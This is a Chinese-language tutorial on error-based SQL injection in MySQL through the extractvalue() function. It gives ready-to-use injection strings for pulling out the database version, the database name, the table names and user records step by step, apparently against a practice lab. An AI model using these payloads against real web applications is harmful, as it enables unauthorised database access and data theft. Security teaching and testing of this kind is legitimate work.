在mysql中,報錯注入就是指通過頁面報出的錯誤信息,構造合適的語句來獲取想要的數據;應用系統未關閉數據庫報錯函數,可以使用extractvalue()函數,從目標XML中返回包含所查詢值的字符串。
本教程操作環境:windows10系統、mysql8.0.22版本、Dell G3電腦。
mysql報錯注入是什么
一、什么是報錯注入?以及什么情況下使用?
報錯注入也可以說?是一種盲注——構造?payload?讓信息通過錯誤提示回顯出。在使用聯合查詢無法爆出顯位時可考慮使用報錯注入。
那么報錯注入是怎么形成的呢?
首先是應用系統未關閉數據庫報錯函數,對于一些SQL語句的錯誤,直接回顯在了頁面上,部分甚至直接泄露數據庫名和表名;
其次,必不可少就是后臺未對MySQL相應的報錯函數進行過濾
二、報錯注入常用的函數
在這里我使用的是extractvalue()函數,其作用是從目標XML中返回包含所查詢值的字符串
EXTRACTVALUE?(XML_document,?XPath_string):第一個參數:XML_document是String格式,為XML文檔對象的名稱;?第二個參數:XPath_string?(Xpath格式的字符串)
三、基本流程
1.獲取版本信息
使用語句?1′?and?extractvalue(1,concat(0x7e,(select?@@version),0x7e))–+?。?其中concat是拼接()內的參數,0x7e解碼之后為~符號。–+為注釋符,將源代碼中之后的語句全部注釋掉以免發生錯誤。測試之后結果如下:
??? //concat前的1為extractvalue()函數的第一個參數,可換為任意數字
?? //語句中的第二個0x7e可以省略
2.獲取數據庫名稱
使用語句
?1‘?and?extractvalue(1,concat(0x7e,(select?database()),0x7e))--+,
? 3.獲取表名
1’?and?extractvalue(1,concat(0x7e,(select?group_concat(table_name)?from?information_schema.tables?where?table_schema='security'),0x7e))--+.?其中group_concat將tale_name字段的所有行放在一行上顯示出來,如下所示
? 4.獲取數據
1'?and?extractvalue(1,concat(0x7e,(select?*?from?(select?username?from?users?limit?0,1)?as?a),0x7e))--+.?修改其中的limit參數即可獲取users表中的不同行內容
推薦學習:mysql視頻教程